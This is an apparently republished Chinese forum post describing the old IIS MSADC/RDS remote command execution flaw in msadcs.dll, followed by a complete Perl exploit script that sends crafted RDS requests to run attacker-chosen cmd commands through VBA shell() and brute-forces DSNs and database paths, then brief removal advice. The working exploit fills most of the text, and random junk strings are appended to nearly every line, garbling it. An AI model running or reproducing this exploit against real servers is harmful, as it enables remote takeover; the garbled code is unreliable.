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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) yVe<[!hJ  
lk $S"OH!  
涉及程序: ".&x`C  
Microsoft NT server 8Z;wF  
g%z?O[CN  
描述: '</  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Hu$]V*rAG  
9moenkL  
详细: iE}jilU  
如果你没有时间读详细内容的话,就删除: :[gM 5G  
c:\Program Files\Common Files\System\Msadc\msadcs.dll hw`+,_ g  
有关的安全问题就没有了。 @";z?xj  
pm<zw-  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 yb BLBJb  
;I'pC?!y  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ?9qA"5  
关于利用ODBC远程漏洞的描述,请参看: XAuB.)|  
7+aTrE{  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <Sn5ME<*  
EZkg0FhkZ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 XZhX%OT!  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp O`e0r%SJ  
q_Td!?2?  
这里不再论述。 sMAc+9G9k  
+O23@G?x  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: T:Dp+m!\{  
(j-[m\wF  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^.Y"<oZSS  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! />fy@nPl|  
X#mm Z;P  
;i`X&[y;  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 70! &  
BsVUEF,N  
#!perl gH- e0134%  
# 5,!,mor$]  
# MSADC/RDS 'usage' (aka exploit) script 4cK6B)X  
# ^=Rqa \;  
# by rain.forest.puppy 'UO,DFq[Fl  
# &)L2a)  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me tx;DMxN!W  
# beta test and find errors! <^VZ4$j  
BDY@&vF  
use Socket; use Getopt::Std; 0 3L"W^gc  
getopts("e:vd:h:XR", \%args); ~uRG~,{rH  
K^AX=B  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; DsY-JBDvoz  
06 gE;iT  
if (!defined $args{h} && !defined $args{R}) { s}A)sBsaP3  
print qq~ ^\ &:'$f+8  
Usage: msadc.pl -h <host> { -d <delay> -X -v } +v%V1lf^~  
-h <host> = host you want to scan (ip or domain) cA ;'~[  
-d <seconds> = delay between calls, default 1 second th8f  
-X = dump Index Server path table, if available Lys4l$J]  
-v = verbose NLM ]KT  
-e = external dictionary file for step 5 B+|E|8"  
'X{cDdS^  
Or a -R will resume a command session M*| y&XBe  
qWe1`.o  
~; exit;} 94r8DkI  
''!pvxA  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 9BB<. p  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} WMBntB   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,s0E]](  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 9Qp39(l:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} xEaRuH c  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1&c>v3 $2  
!c:Q+:,H  
if (!defined $args{R}){ $ret = &has_msadc; CFqoD l  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} LU4\&fd  
X"b4U\A  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" PEZElB ;  
. "cmd /c "; ~6@zXHAS  
$in=<STDIN>; chomp $in; K|];fd U  
$command="cmd /c " . $in ; 6cSMKbgZJ  
>]Hz-2b  
if (defined $args{R}) {&load; exit;} H[V^wyi'z  
/ee:GjUkB  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?ECmPS1  
&try_btcustmr; d9|dHJf  
l.1)%q&@^  
print "\nStep 2: Trying to make our own DSN..."; JY0t Hs  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (?xGl V`n  
aGNVqS%y  
print "\nStep 3: Trying known DSNs..."; WKX5Dl  
&known_dsn; KgVit+4u/  
rwFR5  
print "\nStep 4: Trying known .mdbs..."; sF]v$ kq  
&known_mdb; @8Drhx  
Gk,{{:M:5  
if (defined $args{e}){ zy4AFW  
print "\nStep 5: Trying dictionary of DSN names..."; Vj4 if@Z  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } xPb;_~  
4 C[,S|J  
print "Sorry Charley...maybe next time?\n"; ;|w &n  
exit; # j*$ `W;  
nFW^^v<  
############################################################################## \^;Gv%E  
COFs?L.`  
sub sendraw { # ripped and modded from whisker |`s}PcV  
sleep($delay); # it's a DoS on the server! At least on mine... NmST1pMk  
my ($pstr)=@_; FR0zK=\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || BzF.KCScs  
die("Socket problems\n"); J:f>/  
if(connect(S,pack "SnA4x8",2,80,$target)){ riZFcVsB  
select(S); $|=1; '15j$q  
print $pstr; my @in=<S>; Q6,rY(b6  
select(STDOUT); close(S); s6Bt)8A  
return @in; dpZ7eJ   
} else { die("Can't connect...\n"); }} o}v # Df  
7E Y~5U/4  
############################################################################## aen(Mcd3bg  
ro@Zbm;P  
sub make_header { # make the HTTP request jCW>=1:JGY  
my $msadc=<<EOT Yp 6;Y7^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #lltXqvD?  
User-Agent: ACTIVEDATA Qat%<;P2  
Host: $ip D\(,:_ge  
Content-Length: $clen cLr? B;FS  
Connection: Keep-Alive =d~]*[8  
_I~TpH^1K  
ADCClientVersion:01.06 c/;t.+g  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 au"HIyi?k  
KblOP{I  
--!ADM!ROX!YOUR!WORLD! H4l:L(!D  
Content-Type: application/x-varg F Paj p  
Content-Length: $reqlen dadOjl)S)  
t8i"f L  
EOT x)"=*Jj  
; $msadc=~s/\n/\r\n/g; r{\cm Ds  
return $msadc;} @kvp2P+O  
 cD0  
############################################################################## L!S-f4^5  
pC8(>gV<h  
sub make_req { # make the RDS request ,EZ&n[%Ko  
my ($switch, $p1, $p2)=@_; G8u8&|  
my $req=""; my $t1, $t2, $query, $dsn; ~lDLdUs  
|\QR9>  
if ($switch==1){ # this is the btcustmr.mdb query 6sP;O,UX  
$query="Select * from Customers where City=" . make_shell(); m*i~Vjxj-m  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . >=U $s@  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} }S#.Pw%  
Vaha--QB  
elsif ($switch==2){ # this is general make table query !ox&`  
$query="create table AZZ (B int, C varchar(10))"; T"QY@#E  
$dsn="$p1";} X[@>1tl  
Efp=z=E  
elsif ($switch==3){ # this is general exploit table query Y\+^\`Tqu  
$query="select * from AZZ where C=" . make_shell(); EAY9~b6~c  
$dsn="$p1";} @b>]q$)(}  
YvYavd  
elsif ($switch==4){ # attempt to hork file info from index server T{)!>)  
$query="select path from scope()"; t<`ar@}  
$dsn="Provider=MSIDXS;";} Bs##3{ylu  
xje{ kx#  
elsif ($switch==5){ # bad query dH`a|SVW9  
$query="select"; 1c}'o*K_%  
$dsn="$p1";} PU'v o4  
=x7ODBYW^  
$t1= make_unicode($query); Qb(CH  
$t2= make_unicode($dsn); L1F){8[  
$req = "\x02\x00\x03\x00"; `Mjm/9+18  
$req.= "\x08\x00" . pack ("S1", length($t1)); [")0{LSA=  
$req.= "\x00\x00" . $t1 ; yBl<E$=  
$req.= "\x08\x00" . pack ("S1", length($t2)); 3zl!x  
$req.= "\x00\x00" . $t2 ; 'R'>`?Nh  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; KDXo9FzF  
return $req;} ]$L[3qA.  
~f@<]  
############################################################################## PN'8"8`{  
78.sf{I  
sub make_shell { # this makes the shell() statement 'P~*cr ?A  
return "'|shell(\"$command\")|'";} <;XJ::d  
.Z^g 7 *s  
############################################################################## CD[7h  
TgUQD(d^  
sub make_unicode { # quick little function to convert to unicode Ja (/ym^  
my ($in)=@_; my $out; nuCK7X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } S5d{dTPq  
return $out;} @"~\[z5  
5sE^MS1  
############################################################################## HAiUFO/R  
p/:5 bvA  
sub rdo_success { # checks for RDO return success (this is kludge) fC-^[Af)  
my (@in) = @_; my $base=content_start(@in); Ym6ec|9;  
if($in[$base]=~/multipart\/mixed/){ +p[~hM6?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2Z97Tq  
return 0;} va<+)b\  
7'8O*EoB'  
############################################################################## t/$xzsoJZr  
9F-k:hD |  
sub make_dsn { # this makes a DSN for us {c1qC zM4  
my @drives=("c","d","e","f"); {jVFlKP>  
print "\nMaking DSN: "; ex=~l O  
foreach $drive (@drives) { OP&[5X+Y  
print "$drive: "; v]J# SlF  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . wiGwN  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 5^Y/RS i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); {L=[1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |HEw~x<=  
return 0 if $2 eq "404"; # not found/doesn't exist 7^iAc6QSy3  
if($2 eq "200") { "5YdmBy  
foreach $line (@results) { YNXk32@j@e  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Ocb2XEF  
} return 0;} W"*R#:Q  
saT9%?4-  
############################################################################## 4 * OU  
>ob/@  
sub verify_exists { +doT^&2u*  
my ($page)=@_; w=`z!x![/  
my @results=sendraw("GET $page HTTP/1.0\n\n"); zfZDtKq  
return $results[0];} i#lo? \PO>  
"uCQm '  
############################################################################## g@2.A;N0  
jQb D2x6(  
sub try_btcustmr { AAW7@\q.  
my @drives=("c","d","e","f"); /kz&9FM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); d0B+syl&4l  
zFn&~lFB  
foreach $dir (@dirs) { !.9vW&t  
print "$dir -> "; # fun status so you can see progress  SoX V  
foreach $drive (@drives) { Q7r,5w& cm  
print "$drive: "; # ditto s2v*  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; G|lI=Q3f  
$reqlenlen=length( "$reqlen" ); /;4MexgB%  
$clen= 206 + $reqlenlen + $reqlen; ;N\?]{ L  
RuZ;hnE&  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); nrIL_  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ? st#6=M  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} J7GsNFL  
b..$5  
############################################################################## ra>`J_  
qfu2}qUX~%  
sub odbc_error { e_], O_ Z  
my (@in)=@_; my $base; ? 6d4T  
my $base = content_start(@in); [QbXj0en$  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this }NCvaO  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c0&'rxi( B  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rbPs~C-[  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Mj B[5:s  
return $in[$base+4].$in[$base+5].$in[$base+6];} qD*\}b]9I  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Q ~JKKq  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . gi'agB^  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]Rh( =bg  
7[BL 1HI*  
############################################################################## yrAzD=  
Uob|Q=MQ  
sub verbose { Xp6*Y1Y  
my ($in)=@_; +[/47uFbI  
return if !$verbose; _a$DY ,;  
print STDOUT "\n$in\n";} *"FLkC4  
%J7mZB9  
############################################################################## WgJAr73 l  
*g4Cy 8$  
sub save { ;-pvc<_c<  
my ($p1, $p2, $p3, $p4)=@_; !9xANSb  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^r*%BUU9]%  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; yM:~{;HLF  
close OUT;} QX.6~*m1  
"P5bYq%0v  
############################################################################## ZT"|o\G^Q  
)]>G,.9C}  
sub load { eH%L?"J~:  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *rcuhw"^b#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); _$\5ZVe  
@p=<IN>; close(IN); U@J/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); P!+nZXo  
$target= inet_aton($ip) || die("inet_aton problems"); ?h)3S7  
print "Resuming to $ip ..."; .(7C)P{ .0  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;%7XU~<a  
if($p[1]==1) { O {6gNR,*  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; MIlCUk  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6!%d-Z7)  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Kwl qi]~  
if (rdo_success(@results)){print "Success!\n";} ;5Vk01R  
else { print "failed\n"; verbose(odbc_error(@results));}} ?3, 64[  
elsif ($p[1]==3){ Uk *;C  
if(run_query("$p[3]")){ )yNw2+ ~5  
print "Success!\n";} else { print "failed\n"; }} LlA`QLe  
elsif ($p[1]==4){ c > mu)('U  
if(run_query($drvst . "$p[3]")){ mE^tzyh  
print "Success!\n"; } else { print "failed\n"; }} `+hy#1]  
exit;} \gp,Txueb  
ra%R:xX  
############################################################################## B}q  
,/?%y\:J  
sub create_table { F7Dc!JNa  
my ($in)=@_; I,<>%Z|'  
$reqlen=length( make_req(2,$in,"") ) - 28; =EcIXDzC>  
$reqlenlen=length( "$reqlen" ); LPapD@Z  
$clen= 206 + $reqlenlen + $reqlen; ! [|vx!p  
my @results=sendraw(make_header() . make_req(2,$in,"")); we\b]  
return 1 if rdo_success(@results); )-.Cne;n  
my $temp= odbc_error(@results); verbose($temp); u3M` 'YCb  
return 1 if $temp=~/Table 'AZZ' already exists/; _)#=>$k\  
return 0;} | 3N.5{  
TDl!qp @  
############################################################################## mI7rx`4H  
Tw`c6^%^y  
sub known_dsn { s3Krob`C5  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go g]Xzio&w  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", #FqFH>-*2  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", xxLgC;>[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); -B*<Q[_  
nb0 Py>4  
foreach $dSn (@dsns) { y\)G7 (  
print "."; N &I8nZ9  
next if (!is_access("DSN=$dSn")); PTzp;.  
if(create_table("DSN=$dSn")){ .*EOVo9S  
print "$dSn successful\n"; ZVdsxo<  
if(run_query("DSN=$dSn")){ (:.Q\!aZ1  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4-]Do?  
print "Something's borked. Use verbose next time\n";}}} print "\n";} POqRHuFq  
]]J#7L#  
############################################################################## {t844La"  
9C557$nS^  
sub is_access { ><;l:RGK|  
my ($in)=@_; i{ t TUA  
$reqlen=length( make_req(5,$in,"") ) - 28; 85r)>aCMn  
$reqlenlen=length( "$reqlen" ); 943I:, B  
$clen= 206 + $reqlenlen + $reqlen; *? K4!q'  
my @results=sendraw(make_header() . make_req(5,$in,"")); #<a_: m)@  
my $temp= odbc_error(@results); %_B:EMPd  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); r{K\(UT]!  
return 0;} &YT_#M  
F=oHl@  
############################################################################## M1AZ}b c0]  
";wyNpb(  
sub run_query { 0Jm]f/iZ  
my ($in)=@_; M&uzOK+  
$reqlen=length( make_req(3,$in,"") ) - 28; uY&=eQ_Cb  
$reqlenlen=length( "$reqlen" ); to99 _2  
$clen= 206 + $reqlenlen + $reqlen; +M44XhT  
my @results=sendraw(make_header() . make_req(3,$in,"")); 8w)e/*:j  
return 1 if rdo_success(@results); %B#hb<7}  
my $temp= odbc_error(@results); verbose($temp); Xtci0eS#V  
return 0;} 'R^iKNPs  
uk`T+@K  
############################################################################## vP3K7En  
VDB$"T9#  
sub known_mdb { -'80>[}q/  
my @drives=("c","d","e","f","g"); E^b pckP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Y3-]+y%l  
my $dir, $drive, $mdb; y._'K+nl  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $z= 0[%L  
^F>4~68d  
# this is sparse, because I don't know of many !+m@AQ:,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", OI~}e,[2z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ^4+r*YvcM  
"\\system32\\certmdb.mdb", fH-NU-"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% VVs{l\$=ZV  
M6# \na  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 66oK3%[  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 6dF$?I&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ;!'qtw"CB  
"\\cfusion\\cfapps\\security\\realm_.mdb", ows^W8-w  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", h]qT1( I  
"\\cfusion\\database\\cfexamples.mdb", ppEJs  
"\\cfusion\\database\\cfsnippets.mdb", ]x1p!TSU  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #-,g&)`]  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", O'fk&&l  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /v5qyR7an  
"\\cfusion\\database\\smpolicy.mdb", Z,3 CC \  
"\\cfusion\\database\cypress.mdb", WS5A Y @(~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", |,3l`o k  
"\\website\\cgi-win\\dbsample.mdb", ,NDh@VYe  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", QO@6VY@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" $)Wb#B  
); #these are just ]5N zK=2{  
foreach $drive (@drives) { `"B^{o  
foreach $dir (@dirs){ |H:<:*=6c  
foreach $mdb (@sysmdbs) { VO9XkA7  
print "."; Yr+d1(  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ oB4#J*   
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )i @1X H"D  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ uMHRUi  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; J2'K?|,m  
} else { print "Something's borked. Use verbose next time\n"; }}}}} zHV|-R  
e[}],W  
foreach $drive (@drives) { 85} ii{S  
foreach $mdb (@mdbs) { bjlkX[{}I  
print "."; xo(k?+P>.  
if(create_table($drv . $drive . $dir . $mdb)){ >{QdMn  
print "\n" . $drive . $dir . $mdb . " successful\n"; +lKrj\Xj  
if(run_query($drv . $drive . $dir . $mdb)){ 2 % %|fU9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Yc d3QRB  
} else { print "Something's borked. Use verbose next time\n"; }}}} Y xJ`-6  
} ~6kJ~R4  
-Un=T X  
############################################################################## FZpsL-yx^N  
<PioQ>~  
sub hork_idx { -1CEr_(P^  
print "\nAttempting to dump Index Server tables...\n"; Q<yAT(w  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ?ql2wWsQO  
$reqlen=length( make_req(4,"","") ) - 28; :c=v}  
$reqlenlen=length( "$reqlen" ); 9Eg&CZ,9$D  
$clen= 206 + $reqlenlen + $reqlen; /1[gn8V691  
my @results=sendraw2(make_header() . make_req(4,"","")); xZyeX34{M;  
if (rdo_success(@results)){ xorTL8  
my $max=@results; my $c; my %d; F@1d%c  
for($c=19; $c<$max; $c++){ H<Hrwy~  
$results[$c]=~s/\x00//g; k}zd' /b  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; tOM(U-7Z&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; "5}%"-#  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;  uB;_vC  
$d{"$1$2"}="";} q & b5g !  
foreach $c (keys %d){ print "$c\n"; } G'9{a'  
} else {print "Index server doesn't seem to be installed.\n"; }} .'/l'>  
KmL$M  
############################################################################## xs%LRF# u  
^df x~C  
sub dsn_dict { qg4fR' i  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &6/%k kv  
while(<IN>){ Y208b?=9w  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; k2p'G')H  
next if (!is_access("DSN=$dSn")); 4\6: \  
if(create_table("DSN=$dSn")){ sa9fK Z'q  
print "$dSn successful\n"; x@m<Ym-  
if(run_query("DSN=$dSn")){ .*!#98pT  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9U^$.Lb  
print "Something's borked. Use verbose next time\n";}}} Us-A+)r*!  
print "\n"; close(IN);} ~@Kf2dHes  
hwVAXsF~  
############################################################################## mM5|K@0|  
Obo_YE  
sub sendraw2 { # ripped and modded from whisker 94{)"w]  
sleep($delay); # it's a DoS on the server! At least on mine...  s4$X  
my ($pstr)=@_; T4r5s  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rl?7W];  
die("Socket problems\n"); #)] c0]p  
if(connect(S,pack "SnA4x8",2,80,$target)){ EgNH8i  
print "Connected. Getting data"; CCqT tp  
open(OUT,">raw.out"); my @in; 1,`H:%z%  
select(S); $|=1; print $pstr; J#aVo &.Y  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .X'< D*  
close(OUT); select(STDOUT); close(S); return @in; 3taa^e.  
} else { die("Can't connect...\n"); }} I4D<WoU;dJ  
NfwYDY  
############################################################################## '7tBvVO_  
73 V"s  
sub content_start { # this will take in the server headers `FJ|W6%  
my (@in)=@_; my $c; >uy%-aXiVa  
for ($c=1;$c<500;$c++) { A-wRah.M  
if($in[$c] =~/^\x0d\x0a/){ G{b:i8}l  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } N:x0w+Ca  
else { return $c+1; }}} ll<mE,  
return -1;} # it should never get here actually Ld(NhB'7  
|RhM| i  
############################################################################## /IR#A%U  
G{RTH_p  
sub funky { 6t}XJB$+7  
my (@in)=@_; my $error=odbc_error(@in); Bo r7]#  
if($error=~/ADO could not find the specified provider/){ =;{^" #r\  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3KcaT5(&  
exit;} s[AA7>]3  
if($error=~/A Handler is required/){ H}nJbnU  
print "\nServer has custom handler filters (they most likely are patched)\n"; Hk;-5A|9  
exit;} mhzYz;}  
if($error=~/specified Handler has denied Access/){ Fr5 Xp  
print "\nServer has custom handler filters (they most likely are patched)\n"; k^An97J  
exit;}} KAc>-c<  
 t;47(U  
############################################################################## nQ=aLV+'  
u) *Kws  
sub has_msadc { MzTW8  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ?CY1]d  
my $base=content_start(@results); HI!4  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); NK/4OAt%  
return 0;} ^Mytp>7  
Q_O*oT(0  
######################## ZK !A#Jm{  
$1 @,Qor  
YD&_^3-XM  
解决方案: Q"VMNvKYB  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll N.hzKq][  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 bd \=h1  
g>0vm2|  
拿出来充数 哈哈
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